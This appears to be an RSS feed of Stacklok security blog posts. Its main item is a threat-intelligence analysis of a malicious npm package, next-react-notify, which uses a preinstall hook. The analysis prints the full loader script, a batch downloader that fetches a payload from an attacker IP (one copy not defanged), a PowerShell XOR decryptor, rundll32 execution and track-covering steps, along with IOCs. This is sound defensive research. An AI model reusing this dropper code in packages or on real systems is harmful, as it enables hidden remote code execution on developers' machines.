      <pubDate>Wed, 24 Jul 2024 22:15:31 +0000</pubDate>
      <link>https://forem.com/stacklok/north-korean-state-actors-exploit-open-source-supply-chain-via-malicious-npm-package-4obc</link>
      <guid>https://forem.com/stacklok/north-korean-state-actors-exploit-open-source-supply-chain-via-malicious-npm-package-4obc</guid>
      <description>&lt;p&gt;Author: &lt;a class="mentioned-user" href="https://dev.to/poppysec"&gt;@poppysec&lt;/a&gt; &lt;br&gt;
The original post can be found &lt;a href="https://stacklok.com/blog/north-korean-state-actors-exploit-open-source-supply-chain-via-malicious-npm-package" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On 22nd July, the &lt;a href="https://www.trustypkg.dev/" rel="noopener noreferrer"&gt;Trusty&lt;/a&gt; threat detection team discovered a malicious npm package published an hour prior. Our package detection system analyzes a number of metadata signals to identify anomalies in the open source package ecosystem.&lt;/p&gt;

&lt;p&gt;As such, Trusty flagged the package &lt;code&gt;next-react-notify&lt;/code&gt; as suspicious. Further investigation revealed a complex, multi-stage attack chain.&lt;/p&gt;

&lt;p&gt;The malicious package is a modified copy of &lt;code&gt;call-bind&lt;/code&gt;, a &lt;a href="https://www.npmjs.com/package/call-bind" rel="noopener noreferrer"&gt;popular npm package&lt;/a&gt; with almost 50 million downloads a week. Several script files have been added to the package, including &lt;code&gt;tocall.js&lt;/code&gt;, which is responsible for the malicious download and decryption functionality.&lt;/p&gt;

&lt;p&gt;One of the first indicators of evasive execution was the presence of a preinstall entry in the &lt;code&gt;package.json&lt;/code&gt; file, which functions to execute and delete this script upon installation in the following pattern:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;node &amp;lt;script&amp;gt;.js &amp;amp;&amp;amp; del &amp;lt;script&amp;gt;.js&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fddnns6x2qw1eulgyua74.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fddnns6x2qw1eulgyua74.png" alt=" " width="800" height="406"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Attribution to North Korean APT
&lt;/h2&gt;

&lt;p&gt;Previous reporting by Phylum (&lt;a href="https://blog.phylum.io/crypto-themed-npm-packages-found-delivering-stealthy-malware/" rel="noopener noreferrer"&gt;Jul 2024, Nov 2023&lt;/a&gt;) highlighted techniques and procedures with notable similarities to those observed in the current sample. &lt;/p&gt;

&lt;p&gt;A comprehensive reverse engineering analysis of the final binary by QiAnXin Threat Intelligence Center (&lt;a href="https://ti.qianxin.com/blog/articles/Analysis-of-Suspected-Lazarus-APT-Q-1-Attack-Sample-Targeting-npm-Package-Supply-Chain-EN/" rel="noopener noreferrer"&gt;Dec 2023&lt;/a&gt;) concluded that the attack could be attributed to the North Korean state-sponsored Lazarus Group (APT38).&lt;/p&gt;

&lt;p&gt;This package remained live on npm for less than 4 hours before being unpublished; a tactic frequently employed by North Korean groups leveraging the OSS supply chain vector.&lt;/p&gt;

&lt;p&gt;The attack chain mirrors patterns reported in previous incidents in initial execution strategies, download mechanisms, hosting infrastructure, and post-execution cleanup processes. &lt;/p&gt;

&lt;p&gt;Unlike related packages published in late 2023, which were cryptocurrency-themed, this sample did not focus on cryptocurrency. Instead, it appeared to target developers more broadly, remaining aligned with &lt;a href="https://github.blog/security/vulnerability-research/security-alert-social-engineering-campaign-targets-technology-industry-employees/" rel="noopener noreferrer"&gt;social engineering tactics&lt;/a&gt; typically employed by actors supporting North Korean objectives.&lt;/p&gt;

&lt;p&gt;Considering the documented history of open source supply chain attacks by North Korean state-aligned groups and the clear commonalities with earlier samples over the past year, we assert with reasonable confidence that this activity constitutes a continuation of the same campaign observed earlier this month. However, due to overlapping TTPs and infrastructure, we will avoid attribution to any particular group.&lt;/p&gt;
&lt;h2&gt;
  
  
  Trusty Scoring
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhmwbwj67v0wmhjtktua.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhmwbwj67v0wmhjtktua.png" alt=" " width="800" height="473"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The package had the lowest possible scoring for repository and author activity. No repository URL had been linked to the package, casting further doubt on its provenance. This differs from previous Lazarus-associated samples, where the linked repository has been a key pivot point for security researchers in mapping out the campaign.&lt;/p&gt;
&lt;h2&gt;
  
  
  Technical Details
&lt;/h2&gt;
&lt;h3&gt;
  
  
  tocall.js
&lt;/h3&gt;

&lt;p&gt;The contents of tocall.js can be seen below, with the remote hosting server IP defanged by us.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const os = require("os");
const fs = require("fs");
const { exec } = require("child_process");

const str1 = `
@echo off
curl -o though.crt -L "http://166.88.61[.]72/explorer/search.asp?token=3092" &amp;gt; nul 2&amp;gt;&amp;amp;1
start /b /wait powershell.exe -ExecutionPolicy Bypass -File yui.ps1 &amp;gt; nul 2&amp;gt;&amp;amp;1
del "yui.ps1" &amp;gt; nul 2&amp;gt;&amp;amp;1
if exist "soss.dat" (
  del "soss.dat" &amp;gt; nul 2&amp;gt;&amp;amp;1
)
rename tmpdata.db soss.dat &amp;gt; nul 2&amp;gt;&amp;amp;1
if exist "soss.dat" (
  rundll32 soss.dat, SetExpVal tiend
)
if exist "mod.json" (
  del "package.json" &amp;gt; nul 2&amp;gt;&amp;amp;1
  rename mod.json package.json &amp;gt; nul 2&amp;gt;&amp;amp;1
)
ping 127.0.0.1 -n 2 &amp;gt; nul
if exist "soss.dat" (
  del "soss.dat" &amp;gt; nul 2&amp;gt;&amp;amp;1
)`;

const str2 = `
$path1 = Join-Path $PWD "though.crt"
$path2 = Join-Path $PWD "tmpdata.db"
if ([System.IO.File]::Exists($path1))
{
  $bytes = [System.IO.File]::ReadAllBytes($path1)
  for($i = 0; $i -lt $bytes.count; $i++)
  {
    $bytes[$i] = $bytes[$i] -bxor 0xc5
  }
  [System.IO.File]::WriteAllBytes($path2, $bytes)
  Remove-Item -Path $path1 -Force
}`;

const osType = os.type();

if (osType === "Windows_NT") {
  const fileName = "execu.bat";
  const psfileName = "yui.ps1";
  fs.writeFile(fileName, str1, (err) =&amp;gt; {
    if (!err) {
      fs.writeFile(psfileName, str2, (err) =&amp;gt; {
        if (!err) {
          const child = exec(`"${fileName}"`, (error, stdout, stderr) =&amp;gt; {
            if (error) {
              return;
            }
            if (stderr) {
              return;
            }
            fs.unlink(fileName, (err) =&amp;gt; {});
          });
        }
      });
    }
  });
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script executed and deleted by the preinstall firstly enumerates the host operating system. If the affected host is a Windows machine, it will then attempt to write the contents of &lt;code&gt;str1&lt;/code&gt; into &lt;code&gt;execu.bat&lt;/code&gt; in the current directory. If successful, the contents of &lt;code&gt;str2&lt;/code&gt; will similarly be written into &lt;code&gt;yui.ps1&lt;/code&gt;. The batch script is then executed using &lt;code&gt;exec()&lt;/code&gt;, and the file is deleted.&lt;/p&gt;

&lt;h2&gt;
  
  
  Downloader batch script
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;@echo off
curl -o though.crt -L "http://166.88.61.72/explorer/search.asp?token=3092" &amp;gt; nul 2&amp;gt;&amp;amp;1
start /b /wait powershell.exe -ExecutionPolicy Bypass -File yui.ps1 &amp;gt; nul 2&amp;gt;&amp;amp;1
del "yui.ps1" &amp;gt; nul 2&amp;gt;&amp;amp;1
if exist "soss.dat" (
del "soss.dat" &amp;gt; nul 2&amp;gt;&amp;amp;1
)
rename tmpdata.db soss.dat &amp;gt; nul 2&amp;gt;&amp;amp;1
if exist "soss.dat" (
rundll32 soss.dat, SetExpVal tiend
)
if exist "mod.json" (
del "package.json" &amp;gt; nul 2&amp;gt;&amp;amp;1
rename mod.json package.json &amp;gt; nul 2&amp;gt;&amp;amp;1
)
ping 127.0.0.1 -n 2 &amp;gt; nul
if exist "soss.dat" (
del "soss.dat" &amp;gt; nul 2&amp;gt;&amp;amp;1
)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The batch script saved as &lt;code&gt;execu.bat&lt;/code&gt; takes some precautionary measures to discard errors, hide command prompt output, and delete files. This ensures that execution is concealed from the user.&lt;/p&gt;

&lt;p&gt;An encrypted second stage is downloaded via &lt;code&gt;curl&lt;/code&gt; from the remote server hosted at &lt;code&gt;166.88.61[.]72&lt;/code&gt; and output as &lt;code&gt;though.crt&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This IP address has previously been resolved to &lt;code&gt;cryptocopedia[.]com&lt;/code&gt;, a domain associated with North Korean APTs in Phylum’s &lt;a href="https://blog.phylum.io/new-tactics-from-a-familiar-threat/" rel="noopener noreferrer"&gt;report on the call-blockflow&lt;/a&gt; npm package published 4 July 2024.&lt;/p&gt;

&lt;p&gt;The next lines of the batch script use PowerShell to execute the script &lt;code&gt;yui.ps1&lt;/code&gt; before deleting it. We will jump into &lt;code&gt;yui.ps1&lt;/code&gt; before discussing the rest of &lt;code&gt;execu.bat&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Payload decryption
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$path1 = Join-Path $PWD "though.crt"
$path2 = Join-Path $PWD "tmpdata.db"
if ([System.IO.File]::Exists($path1))
{
    $bytes = [System.IO.File]::ReadAllBytes($path1)
    for($i = 0; $i -lt $bytes.count; $i++)
    {
        $bytes[$i] = $bytes[$i] -bxor 0xc5
    }
    [System.IO.File]::WriteAllBytes($path2, $bytes)
    Remove-Item -Path $path1 -Force
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script first defines paths in the current working directory for the downloaded &lt;code&gt;though.crt&lt;/code&gt;, and a file which does not yet exist, &lt;code&gt;tmpdata.db&lt;/code&gt;. It then enters a loop where each byte of &lt;code&gt;though.crt&lt;/code&gt; is bitwise XOR decrypted with the key &lt;code&gt;0xc5&lt;/code&gt;, and the result is written to the DB file stated. This decrypted file is a 64-bit DLL with a misleading file extension. &lt;/p&gt;

&lt;p&gt;The initial CRT file is then deleted, and execution returns to the batch script.&lt;/p&gt;

&lt;h4&gt;
  
  
  Execution
&lt;/h4&gt;

&lt;p&gt;This resulting DLL is then renamed to &lt;code&gt;soss.dat&lt;/code&gt;. Using the Windows LOLBin &lt;code&gt;rundll32&lt;/code&gt;, the DLL’s sole exported function &lt;code&gt;SetExpVal&lt;/code&gt; is executed with the parameter &lt;code&gt;tiend&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rename tmpdata.db soss.dat &amp;gt; nul 2&amp;gt;&amp;amp;1
if exist "soss.dat" (
rundll32 soss.dat, SetExpVal tiend
)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Cleanup
&lt;/h4&gt;

&lt;p&gt;As mentioned, during the course of execution the threat actor took several steps to cover their tracks, such as deleting any files dropped on disk, and hiding traces of execution. Significantly, the malicious &lt;code&gt;package.json&lt;/code&gt; is removed and replaced with a benign version, &lt;code&gt;mod.json&lt;/code&gt;, which does not contain the key preinstall script entry.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if exist "mod.json" (
del "package.json" &amp;gt; nul 2&amp;gt;&amp;amp;1
rename mod.json package.json &amp;gt; nul 2&amp;gt;&amp;amp;1
)
ping 127.0.0.1 -n 2 &amp;gt; nul
if exist "soss.dat" (
del "soss.dat" &amp;gt; nul 2&amp;gt;&amp;amp;1
)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hence after installing the package via npm, the user would remain unaware that any malicious activity had occurred.&lt;/p&gt;

&lt;p&gt;Second-stage DLL - soss.dat&lt;/p&gt;

&lt;h4&gt;
  
  
  Properties
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;-&lt;/th&gt;
&lt;th&gt;-&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;File Name&lt;/td&gt;
&lt;td&gt;soss.dat&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File Type&lt;/td&gt;
&lt;td&gt;PE DLL, 64-bit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Compilation operating system&lt;/td&gt;
&lt;td&gt;Windows Vista&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time date stamp&lt;/td&gt;
&lt;td&gt;2024-07-10 15:45:13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Size&lt;/td&gt;
&lt;td&gt;102.50 KB (104960 bytes)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SHA256&lt;/td&gt;
&lt;td&gt;43a28fc5a1ee46da0e5698fed473802ab6af5f83233b9287459ec2e0f6250efa&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ssdeep&lt;/td&gt;
&lt;td&gt;384:ga7wez/uXHFCZBem2Wx6MN99Sjvb99SjvWpN:g0bz/QHFCTemFL9Sbh9Sb&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PDB file name&lt;/td&gt;
&lt;td&gt;D:\workstation\codingStation\C_Workstation\2024\Simple Dll\x64\Release\Simple Dll.pdb&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h4&gt;
  
  
  Evasion and anti-analysis
&lt;/h4&gt;

&lt;p&gt;We are continuing to analyze the decrypted payload DLL, but initial examination of both the import functions and the most relevant subroutines after disassembly suggests a considerable level of sophistication, with several layers of defense against detection and debugging. &lt;/p&gt;

&lt;p&gt;Static analysis of the DLL revealed various anti-analysis and anti-debugging techniques. We also noted the use of stack unwinding, which could be utilized to evade detection via call stack tracing (a feature of some EDRs).&lt;/p&gt;

&lt;p&gt;The sample was first submitted to &lt;a href="https://www.virustotal.com/gui/file/43a28fc5a1ee46da0e5698fed473802ab6af5f83233b9287459ec2e0f6250efa/detection" rel="noopener noreferrer"&gt;VirusTotal&lt;/a&gt; on 2024-07-12. At the time of writing, automated sandboxes detections remain relatively sparse due to these successful anti-analysis efforts.&lt;/p&gt;

&lt;h4&gt;
  
  
  IsProcessorFeaturePresent
&lt;/h4&gt;

&lt;p&gt;The Windows API function &lt;code&gt;IsProcessorFeaturePresent&lt;/code&gt; is invoked with the argument &lt;code&gt;0x17&lt;/code&gt; - where &lt;code&gt;0x17&lt;/code&gt; corresponds to &lt;code&gt;PF_FASTFAIL_AVAILABLE&lt;/code&gt;. This is used to check if the &lt;code&gt;__fastfail&lt;/code&gt; option is available. If not, the process is terminated immediately with &lt;code&gt;RtlFailFast&lt;/code&gt; (&lt;code&gt;int 0x29&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Excerpt of &lt;code&gt;sub_180001020&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6qvakh5w9lh5hues9s1j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6qvakh5w9lh5hues9s1j.png" alt=" " width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  QueryPerformanceCounter
&lt;/h4&gt;

&lt;p&gt;In subroutine &lt;code&gt;sub_18000150c&lt;/code&gt;, we observed the use of the Windows API &lt;code&gt;QueryPerformanceCounter&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;While this function can identify long delays caused by a debugger, in this context, it appears to be part of a unique identifier generation process. This identifier potentially forms a mutex name and is derived from system time, thread ID, and process ID through a series of XOR operations and bitwise shifts.&lt;/p&gt;

&lt;p&gt;Excerpt of &lt;code&gt;sub_18000150c&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1m6l62xfhah8cqqm04ju.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1m6l62xfhah8cqqm04ju.png" alt=" " width="800" height="572"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Call stack spoofing
&lt;/h4&gt;

&lt;p&gt;Subroutine &lt;code&gt;sub_18000192C&lt;/code&gt; implements a stack walk by capturing the current execution context &lt;code&gt;RtlCaptureContext&lt;/code&gt;, looking up each function entry &lt;code&gt;RtlLookupFunctionEntry&lt;/code&gt;, and then unwinding the stack with &lt;code&gt;RtlVirtualUnwind&lt;/code&gt;. The context record is updated to a new address, and further memory manipulation is carried out.&lt;/p&gt;

&lt;p&gt;By doing this the malware can dynamically modify the return address and adjust call stack frames to create the facade of a benign call stack, avoiding inspection by EDRs. &lt;/p&gt;

&lt;p&gt;This is an effort to frustrate analysis and hide the true execution flow.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxpi9yl6p9ykidab8kg1v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxpi9yl6p9ykidab8kg1v.png" alt=" " width="800" height="554"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Exception handling
&lt;/h4&gt;

&lt;p&gt;Later in &lt;code&gt;sub_18000192C&lt;/code&gt;, the API &lt;code&gt;IsDebuggerPresent&lt;/code&gt; is used, storing the result in the &lt;code&gt;rbx&lt;/code&gt; register. &lt;code&gt;SetUnhandledExceptionFilter&lt;/code&gt; and &lt;code&gt;UnhandledExceptionFilter&lt;/code&gt; can be used in combination to check for the presence of a debugger by replacing the top-level exception handler. If these checks pass, another subroutine is called.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fefhhds7t1asfvbwd1si3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fefhhds7t1asfvbwd1si3.png" alt=" " width="800" height="584"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Further stages
&lt;/h4&gt;

&lt;p&gt;The DLL also contains functionality to decrypt a later-stage payload.&lt;/p&gt;

&lt;p&gt;Given our initial analysis as well as the findings from the detailed report by &lt;a href="https://ti.qianxin.com/blog/articles/Analysis-of-Suspected-Lazarus-APT-Q-1-Attack-Sample-Targeting-npm-Package-Supply-Chain-EN/" rel="noopener noreferrer"&gt;QiAnXin&lt;/a&gt; in late 2023, it is likely that this DLL acts as an intermediary stage before the final payload is fetched, possibly via multiple further loading stages.&lt;/p&gt;

&lt;h2&gt;
  
  
  IOCs
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;URL&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;http://166.88.61[.]72/explorer/search.asp?token=3092&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SHA256&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;soss.dat&lt;/code&gt; &lt;br&gt;
43a28fc5a1ee46da0e5698fed473802ab6af5f83233b9287459ec2e0f6250efa&lt;/p&gt;

&lt;p&gt;&lt;code&gt;though.crt&lt;/code&gt;&lt;br&gt;
9d27159f34d4534afaa3f3e8de51c4d9b2e4001235633bac43bd7d3772cb774e&lt;/p&gt;

&lt;p&gt;&lt;code&gt;next-react-notify-1.0.0.tgz&lt;/code&gt;337c114002a8b25b1ee47546b637391d413a2bfb7275c439c8758a23fc77e441&lt;/p&gt;

&lt;p&gt;&lt;code&gt;tocall.js&lt;/code&gt;&lt;br&gt;
B57b75d015526b862ae469b825c7a18a157927e0c9415050f1abe9df67523520&lt;/p&gt;

&lt;p&gt;The contents of the &lt;code&gt;next-react-notify&lt;/code&gt; package &lt;a href="https://github.com/StacklokLabs/jail/tree/main/next-react-notify" rel="noopener noreferrer"&gt;can be reviewed in full on Stacklok’s jail repository on GitHub.&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>opensource</category>
      <category>npm</category>
    </item>
    <item>
      <title>DestroyLoneliness: npm starjacking attack on Roblox Node.js library delivers QuasarRAT</title>
      <dc:creator>Ariel</dc:creator>
      <pubDate>Thu, 11 Jul 2024 18:01:40 +0000</pubDate>
      <link>https://forem.com/stacklok/destroyloneliness-npm-starjacking-attack-on-roblox-nodejs-library-delivers-quasarrat-mj2</link>
      <guid>https://forem.com/stacklok/destroyloneliness-npm-starjacking-attack-on-roblox-nodejs-library-delivers-quasarrat-mj2</guid>
      <description>&lt;p&gt;The execution of QuasarRAT would allow the attacker to establish command and control over affected Windows endpoints.&lt;/p&gt;

&lt;p&gt;Author: &lt;a href="https://stacklok.com/authors/poppaea-mcdermott" rel="noopener noreferrer"&gt;Poppaea McDermott&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.trustypkg.dev/" rel="noopener noreferrer"&gt;Trusty&lt;/a&gt; is a free-to-use web app from Stacklok that analyzes data about thousands of open source packages and ranks them based on their supply chain risk. Trusty looks at factors like repo and author activity; the presence of security best practices, like artifact signing; and the presence of malicious activity, like typosquatting and starjacking.&lt;/p&gt;

&lt;p&gt;Earlier this week, Trusty's threat analysis system, developed by Stacklok, was able to interpret the &lt;a href="https://www.trustypkg.dev/npm/noblox-ts" rel="noopener noreferrer"&gt;noblox-ts&lt;/a&gt; package as suspicious. Read on for our analysis on this package.&lt;/p&gt;

&lt;h2&gt;
  
  
  Discovering the attack
&lt;/h2&gt;

&lt;p&gt;You can see a UI expression of the scoring for this package below in Trusty:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feoq4305d72bo31j1ph7l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feoq4305d72bo31j1ph7l.png" alt=" " width="770" height="393"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Starjacking is a tactic used by threat actors to misdirect users into downloading a malicious package by imitating a popular or highly-rated project. The information copied can include metadata such as the description and star rating.&lt;/p&gt;

&lt;p&gt;Trusty ingests package provenance information, allowing the identification of anomalies around source of origin.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2wdu9xs597x5k6omr4r1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2wdu9xs597x5k6omr4r1.png" alt=" " width="784" height="352"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To read the rest of the post, click &lt;a href="https://stacklok.com/blog/destroyloneliness-npm-starjacking-attack-on-roblox-nodejs-library-delivers-quasarrat" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>npm</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Demo: Automating GitHub Repo Configuration and Security with Minder</title>
      <dc:creator>Ariel</dc:creator>
      <pubDate>Mon, 17 Jun 2024 23:26:02 +0000</pubDate>
      <link>https://forem.com/stacklok/demo-automating-github-repo-configuration-and-security-with-minder-4imp</link>
      <guid>https://forem.com/stacklok/demo-automating-github-repo-configuration-and-security-with-minder-4imp</guid>
      <description>&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/HJDSBBFgzLE"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;If you're like many project owners or maintainers, your software project might span tens or hundreds of GitHub repos, and your repo configuration may be wildly variable. How do you make sure that your repos always have a standard configuration in place, like a code of conduct, a security.md file, a license file, secret scanning, and Dependabot? It's a lot to remember and to continuously monitor. Fortunately, you don't have to—there are free tools like Minder available to help. &lt;/p&gt;

&lt;p&gt;In this demo, Stacklok engineer Eleftheria Stein-Kousathana demos how to use Minder, an open source software supply chain security platform, to help you keep your GitHub repos consistently configured and secure for your end users. &lt;/p&gt;

&lt;p&gt;Try it out at &lt;a href="https://cloud.stacklok.com" rel="noopener noreferrer"&gt;https://cloud.stacklok.com&lt;/a&gt;&lt;br&gt;
Read the docs at &lt;a href="https://docs.stacklok.com" rel="noopener noreferrer"&gt;https://docs.stacklok.com&lt;/a&gt;&lt;/p&gt;

</description>
      <category>demo</category>
      <category>security</category>
      <category>opensource</category>
      <category>github</category>
    </item>
    <item>
      <title>OpenSSF Case Study: Enhancing Open Source Security with Sigstore at Stacklok</title>
      <dc:creator>Ariel</dc:creator>
      <pubDate>Tue, 04 Jun 2024 16:15:57 +0000</pubDate>
      <link>https://forem.com/stacklok/openssf-case-study-enhancing-open-source-security-with-sigstore-at-stacklok-50h0</link>
      <guid>https://forem.com/stacklok/openssf-case-study-enhancing-open-source-security-with-sigstore-at-stacklok-50h0</guid>
      <description>&lt;p&gt;Stacklok was founded in 2023 by Craig McLuckie (co-creator of &lt;a href="https://kubernetes.io/" rel="noopener noreferrer"&gt;Kubernetes&lt;/a&gt;) and Luke Hinds (creator of the OpenSSF project &lt;a href="https://www.sigstore.dev/" rel="noopener noreferrer"&gt;Sigstore&lt;/a&gt;), with the goal of helping developers produce and consume open source software more safely.&lt;/p&gt;

&lt;p&gt;As malicious attacks on open source software continue to grow in number and become more sophisticated (like the recent &lt;a href="https://stacklok.com/blog/the-good-the-bad-and-the-ugly-of-the-xz-vulnerability" rel="noopener noreferrer"&gt;XZ Utils incident&lt;/a&gt;), governments and organizations are calling for increased security and protection against these attacks. Yet open source maintainers—who are often unpaid volunteers, with other full-time jobs—lack the time to stay up to speed on security best practices, and access to freely available tools that can proactively keep their software secure.&lt;/p&gt;

&lt;p&gt;To help open source communities and developers produce and consume open source software more safely, Stacklok is harnessing the power of Sigstore, highlighted in this case study. &lt;/p&gt;

&lt;p&gt;Read the rest of the case study &lt;a href="https://openssf.org/blog/2024/06/04/openssf-case-study-enhancing-open-source-security-with-sigstore-at-stacklok/" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/p&gt;

